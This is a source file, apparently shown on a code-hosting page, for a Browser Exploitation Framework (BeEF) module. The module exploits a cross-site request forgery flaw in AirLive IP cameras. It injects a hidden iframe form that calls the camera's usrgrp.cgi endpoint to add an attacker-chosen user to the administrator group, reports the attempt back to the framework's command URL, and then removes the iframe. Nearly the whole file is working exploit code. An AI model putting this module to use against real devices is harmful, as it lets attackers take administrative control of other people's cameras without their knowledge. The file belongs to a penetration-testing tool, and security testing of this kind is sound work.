Path: blob/master/modules/exploits/camera/airlive_ip_camera_csrf/command.js
1874 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var base = '<%= @base %>';8var path = 'cgi-bin/admin/usrgrp.cgi';9var user = '<%= @user %>';10var pass = '<%= @pass %>';1112var airlive_ip_camera_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(base + path, "GET", "application/x-www-form-urlencoded",13[{'type':'hidden', 'name':'user', 'value':user},14{'type':'hidden', 'name':'pwd', 'value':pass},15{'type':'hidden', 'name':'grp', 'value':'administrator'},16{'type':'hidden', 'name':'sgrp', 'value':'ptz'},17{'type':'hidden', 'name':'action', 'value':'add'},18{'type':'hidden', 'name':'redirect', 'value':''}19]);2021beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");2223cleanup = function() {24document.body.removeChild(airlive_ip_camera_iframe_<%= @command_id %>);25}26setTimeout("cleanup()", 15000);2728});29303132